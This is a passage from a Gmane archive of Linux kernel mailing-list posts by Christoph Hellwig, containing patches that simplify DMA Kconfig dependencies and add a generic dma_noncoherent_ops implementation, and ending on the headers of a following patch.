Xref: news.gmane.org gmane.linux.kernel.arc:3864 gmane.linux.kernel.iommu:24168 gmane.linux.kernel.cross-arch:44012 gmane.linux.ports.parisc:28595 gmane.linux.ports.sh.devel:57001 gmane.linux.ports.hexagon:1698 gmane.linux.kernel:2764202 gmane.linux.ports.alpha:5023 gmane.linux.ports.sparc:27850 gmane.linux.ports.arm.kernel:649151
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3864>

ARCH_DMA_ADDR_T_64BIT is always true for 64-bit architectures now, so we
can skip the clause requiring it.  'n' is the default default, so no need
to explicitly state it.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/Kconfig | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/lib/Kconfig b/lib/Kconfig
index 1d84e61cccfe..6c4e9d0ce5d1 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -443,13 +443,11 @@ config IOMMU_HELPER
 
 config DMA_DIRECT_OPS
 	bool
-	depends on HAS_DMA && (!64BIT || ARCH_DMA_ADDR_T_64BIT)
-	default n
+	depends on HAS_DMA
 
 config DMA_VIRT_OPS
 	bool
-	depends on HAS_DMA && (!64BIT || ARCH_DMA_ADDR_T_64BIT)
-	default n
+	depends on HAS_DMA
 
 config SWIOTLB
 	bool
-- 
2.17.0

From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 02/20] dma-mapping: provide a generic dma-noncoherent
	implementation
Date: Fri, 11 May 2018 09:59:27 +0200
Lines: 336
Approved: news@gmane.org
Message-ID: <20180511075945.16548-3-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025505 29957 195.159.176.226 (11 May 2018 07:58:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:58:25 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:58:19 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2wU-0007db-K9
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:58:19 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 5F2D7CEE;
	Fri, 11 May 2018 08:00:29 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 64567CC6
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:00:26 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 7B6FD6A3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:00:25 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=/hXyttA3CD2ea5QvoTBPjdmfnTwz5+AXkkkSaACjSlQ=;
	b=TmucRzlMxzeywAFNdZzwgUZTe
	/FvVE/6VZ48TmCUeoQNin8jMQ4FCKpoLNwR6YKOneQ+Kqav2O7Kg8nfB0LeabXOTbumZFeFj/X1pL
	dw0HbP7y5UTeQnsTAGV6bpWFeLZf8jwLs0z8PkTdqTLDz+SRXtLnjD8r0yTogOAaj11v/AjxdBuG2
	lISDPsmVEH3WybqeT5X8QAPvPCQNXErL2LAS+HS5Nu0Wzltg/+Z5nHcull/SwEKHFir4g6i35x/Ml
	9+OOtk4IvRfxZgIZuC/vxNEBALVw4yF1Pz7uRWyQNMX6UtWcYVKdip+eUtEKzRiYVSrkoetYxGboL
	ggsU3/sJA==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2y5-0006SB-Sa; Fri, 11 May 2018 08:00:08 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24169 gmane.linux.kernel.cross-arch:44013 gmane.linux.ports.parisc:28596 gmane.linux.ports.sh.devel:57002 gmane.linux.ports.hexagon:1699 gmane.linux.kernel:2764203 gmane.linux.ports.alpha:5024 gmane.linux.ports.sparc:27851 gmane.linux.kernel.arc:3865 gmane.linux.ports.arm.kernel:649152
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24169>

Add a new dma_map_ops implementation that uses dma-direct for the
address mapping of streaming mappings, and which requires arch-specific
implemenations of coherent allocate/free.

Architectures have to provide flushing helpers to ownership trasnfers
to the device and/or CPU, and can provide optional implementations of
the coherent mmap functionality, and the cache_flush routines for
non-coherent long term allocations.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 MAINTAINERS                       |   2 +
 include/asm-generic/dma-mapping.h |   9 +++
 include/linux/dma-direct.h        |   7 ++-
 include/linux/dma-mapping.h       |   1 +
 include/linux/dma-noncoherent.h   |  47 ++++++++++++++
 lib/Kconfig                       |  20 ++++++
 lib/Makefile                      |   1 +
 lib/dma-direct.c                  |   8 +--
 lib/dma-noncoherent.c             | 101 ++++++++++++++++++++++++++++++
 9 files changed, 191 insertions(+), 5 deletions(-)
 create mode 100644 include/linux/dma-noncoherent.h
 create mode 100644 lib/dma-noncoherent.c

diff --git a/MAINTAINERS b/MAINTAINERS
index 79bb02ff812f..08d0d15d4958 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4334,12 +4334,14 @@ W:	http://git.infradead.org/users/hch/dma-mapping.git
 S:	Supported
 F:	lib/dma-debug.c
 F:	lib/dma-direct.c
+F:	lib/dma-noncoherent.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
 F:	include/asm-generic/dma-mapping.h
 F:	include/linux/dma-direct.h
 F:	include/linux/dma-mapping.h
+F:	include/linux/dma-noncoherent.h
 
 DME1737 HARDWARE MONITOR DRIVER
 M:	Juerg Haefliger <juergh-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
diff --git a/include/asm-generic/dma-mapping.h b/include/asm-generic/dma-mapping.h
index 880a292d792f..ad2868263867 100644
--- a/include/asm-generic/dma-mapping.h
+++ b/include/asm-generic/dma-mapping.h
@@ -4,7 +4,16 @@
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
+	/*
+	 * Use the non-coherent ops if available.  If an architecture wants a
+	 * more fine-grained selection of operations it will have to implement
+	 * get_arch_dma_ops itself or use the per-device dma_ops.
+	 */
+#ifdef CONFIG_DMA_NONCOHERENT_OPS
+	return &dma_noncoherent_ops;
+#else
 	return &dma_direct_ops;
+#endif
 }
 
 #endif /* _ASM_GENERIC_DMA_MAPPING_H */
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index 53ad6a47f513..8d9f33febde5 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -59,6 +59,11 @@ void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 		gfp_t gfp, unsigned long attrs);
 void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs);
+dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		unsigned long attrs);
+int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl, int nents,
+		enum dma_data_direction dir, unsigned long attrs);
 int dma_direct_supported(struct device *dev, u64 mask);
-
+int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr);
 #endif /* _LINUX_DMA_DIRECT_H */
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 25a9a2b04f78..4be070df5fc5 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -136,6 +136,7 @@ struct dma_map_ops {
 };
 
 extern const struct dma_map_ops dma_direct_ops;
+extern const struct dma_map_ops dma_noncoherent_ops;
 extern const struct dma_map_ops dma_virt_ops;
 
 #define DMA_BIT_MASK(n)	(((n) == 64) ? ~0ULL : ((1ULL<<(n))-1))
diff --git a/include/linux/dma-noncoherent.h b/include/linux/dma-noncoherent.h
new file mode 100644
index 000000000000..10b2654d549b
--- /dev/null
+++ b/include/linux/dma-noncoherent.h
@@ -0,0 +1,47 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_DMA_NONCOHERENT_H
+#define _LINUX_DMA_NONCOHERENT_H 1
+
+#include <linux/dma-mapping.h>
+
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs);
+void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs);
+
+#ifdef CONFIG_DMA_NONCOHERENT_MMAP
+int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+		void *cpu_addr, dma_addr_t dma_addr, size_t size,
+		unsigned long attrs);
+#else
+#define arch_dma_mmap NULL
+#endif /* CONFIG_DMA_NONCOHERENT_MMAP */
+
+#ifdef CONFIG_DMA_NONCOHERENT_CACHE_SYNC
+void arch_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
+		enum dma_data_direction direction);
+#else
+#define arch_dma_cache_sync NULL
+#endif /* CONFIG_DMA_NONCOHERENT_CACHE_SYNC */
+
+#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_DEVICE
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir);
+#else
+static inline void arch_sync_dma_for_device(struct device *dev,
+		phys_addr_t paddr, size_t size, enum dma_data_direction dir)
+{
+}
+#endif /* ARCH_HAS_SYNC_DMA_FOR_DEVICE */
+
+#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_CPU
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir);
+#else
+static inline void arch_sync_dma_for_cpu(struct device *dev,
+		phys_addr_t paddr, size_t size, enum dma_data_direction dir)
+{
+}
+#endif /* ARCH_HAS_SYNC_DMA_FOR_CPU */
+
+#endif /* _LINUX_DMA_NONCOHERENT_H */
diff --git a/lib/Kconfig b/lib/Kconfig
index 6c4e9d0ce5d1..7a913937888b 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -441,10 +441,30 @@ config ARCH_DMA_ADDR_T_64BIT
 config IOMMU_HELPER
 	bool
 
+config ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	bool
+
+config ARCH_HAS_SYNC_DMA_FOR_CPU
+	bool
+	select NEED_DMA_MAP_STATE
+
 config DMA_DIRECT_OPS
 	bool
 	depends on HAS_DMA
 
+config DMA_NONCOHERENT_OPS
+	bool
+	depends on HAS_DMA
+	select DMA_DIRECT_OPS
+
+config DMA_NONCOHERENT_MMAP
+	bool
+	depends on DMA_NONCOHERENT_OPS
+
+config DMA_NONCOHERENT_CACHE_SYNC
+	bool
+	depends on DMA_NONCOHERENT_OPS
+
 config DMA_VIRT_OPS
 	bool
 	depends on HAS_DMA
diff --git a/lib/Makefile b/lib/Makefile
index 94203b5eecd4..9f18c8152281 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -30,6 +30,7 @@ lib-$(CONFIG_PRINTK) += dump_stack.o
 lib-$(CONFIG_MMU) += ioremap.o
 lib-$(CONFIG_SMP) += cpumask.o
 lib-$(CONFIG_DMA_DIRECT_OPS) += dma-direct.o
+lib-$(CONFIG_DMA_NONCOHERENT_OPS) += dma-noncoherent.o
 lib-$(CONFIG_DMA_VIRT_OPS) += dma-virt.o
 
 lib-y	+= kobject.o klist.o
diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index df9e726e0712..b824eb218782 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -128,7 +128,7 @@ void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		free_pages((unsigned long)cpu_addr, page_order);
 }
 
-static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
+dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size, enum dma_data_direction dir,
 		unsigned long attrs)
 {
@@ -139,8 +139,8 @@ static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
 	return dma_addr;
 }
 
-static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
-		int nents, enum dma_data_direction dir, unsigned long attrs)
+int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl, int nents,
+		enum dma_data_direction dir, unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -175,7 +175,7 @@ int dma_direct_supported(struct device *dev, u64 mask)
 	return 1;
 }
 
-static int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
+int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
 {
 	return dma_addr == DIRECT_MAPPING_ERROR;
 }
diff --git a/lib/dma-noncoherent.c b/lib/dma-noncoherent.c
new file mode 100644
index 000000000000..a2c192b3508d
--- /dev/null
+++ b/lib/dma-noncoherent.c
@@ -0,0 +1,101 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (C) 2018 Christoph Hellwig.
+ *
+ * DMA operations that map physical memory directly without providing cache
+ * coherence.
+ */
+#include <linux/export.h>
+#include <linux/mm.h>
+#include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
+#include <linux/scatterlist.h>
+
+static void dma_noncoherent_sync_single_for_device(struct device *dev,
+		dma_addr_t addr, size_t size, enum dma_data_direction dir)
+{
+	arch_sync_dma_for_device(dev, dma_to_phys(dev, addr), size, dir);
+}
+
+static void dma_noncoherent_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sgl, int nents, enum dma_data_direction dir)
+{
+	struct scatterlist *sg;
+	int i;
+
+	for_each_sg(sgl, sg, nents, i)
+		arch_sync_dma_for_device(dev, sg_phys(sg), sg->length, dir);
+}
+
+static dma_addr_t dma_noncoherent_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		unsigned long attrs)
+{
+	dma_addr_t addr;
+
+	addr = dma_direct_map_page(dev, page, offset, size, dir, attrs);
+	if (!dma_mapping_error(dev, addr) && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		arch_sync_dma_for_device(dev, page_to_phys(page), size, dir);
+	return addr;
+}
+
+static int dma_noncoherent_map_sg(struct device *dev, struct scatterlist *sgl,
+		int nents, enum dma_data_direction dir, unsigned long attrs)
+{
+	nents = dma_direct_map_sg(dev, sgl, nents, dir, attrs);
+	if (nents > 0 && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		dma_noncoherent_sync_sg_for_device(dev, sgl, nents, dir);
+	return nents;
+}
+
+#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_CPU
+static void dma_noncoherent_sync_single_for_cpu(struct device *dev,
+		dma_addr_t addr, size_t size, enum dma_data_direction dir)
+{
+	arch_sync_dma_for_cpu(dev, dma_to_phys(dev, addr), size, dir);
+}
+
+static void dma_noncoherent_sync_sg_for_cpu(struct device *dev,
+		struct scatterlist *sgl, int nents, enum dma_data_direction dir)
+{
+	struct scatterlist *sg;
+	int i;
+
+	for_each_sg(sgl, sg, nents, i)
+		arch_sync_dma_for_cpu(dev, sg_phys(sg), sg->length, dir);
+}
+
+static void dma_noncoherent_unmap_page(struct device *dev, dma_addr_t addr,
+		size_t size, enum dma_data_direction dir, unsigned long attrs)
+{
+	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		dma_noncoherent_sync_single_for_cpu(dev, addr, size, dir);
+}
+
+static void dma_noncoherent_unmap_sg(struct device *dev, struct scatterlist *sgl,
+		int nents, enum dma_data_direction dir, unsigned long attrs)
+{
+	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		dma_noncoherent_sync_sg_for_cpu(dev, sgl, nents, dir);
+}
+#endif
+
+const struct dma_map_ops dma_noncoherent_ops = {
+	.alloc			= arch_dma_alloc,
+	.free			= arch_dma_free,
+	.mmap			= arch_dma_mmap,
+	.sync_single_for_device	= dma_noncoherent_sync_single_for_device,
+	.sync_sg_for_device	= dma_noncoherent_sync_sg_for_device,
+	.map_page		= dma_noncoherent_map_page,
+	.map_sg			= dma_noncoherent_map_sg,
+#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_CPU
+	.sync_single_for_cpu	= dma_noncoherent_sync_single_for_cpu,
+	.sync_sg_for_cpu	= dma_noncoherent_sync_sg_for_cpu,
+	.unmap_page		= dma_noncoherent_unmap_page,
+	.unmap_sg		= dma_noncoherent_unmap_sg,
+#endif
+	.dma_supported		= dma_direct_supported,
+	.mapping_error		= dma_direct_mapping_error,
+	.cache_sync		= arch_dma_cache_sync,
+};
+EXPORT_SYMBOL(dma_noncoherent_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 03/20] arc: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:28 +0200
Lines: 258
Approved: news@gmane.org
Message-ID: <20180511075945.16548-4-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025516 30824 195.159.176.226 (11 May 2018 07:58:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:58:36 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:58:31 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2wg-0007st-3l
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:58:30 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id D03E1C7D;
	Fri, 11 May 2018 08:00:40 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id D6770C7C
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:00:39 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id C7EED6A2
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:00:38 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=tV/c5wFOEM7ru2yxD/dwmoaCNRBN8D6OW5eP2LXwUTo=;
	b=BKG2HxkulKiIqnKmp9S/KQH+A
	KvZpPpD5zoXn4Tlr0iYK1DPnHS5aZ/gQhJFOgN//b9bPhMSFRFo34ctbTERw7Re3sqL81EN91jmlI
	6zoYsI9GsX8BhhHE2KRswp9g5/6MDqdEIf3E/HahRSqVRYSW47qKCXN1f98XUUw6RlkjUZ/gDxcF/
	NlYnZ8enp+9l0qKMiEjnxV5R7BOQQ7saJjoAwxh/k/Eg09m00GTIr75Kr93G7POPaHtrtgm9IQ097
	11MkFMC/23m+UTq9hATj5Jsy+a9/t/7eitUXicWOpnSRQxYuImRnLmXcpRl6FgwdWiOn5DtD3QtMv
	DyyAu1/dA==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2yK-0006jT-3q; Fri, 11 May 2018 08:00:22 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
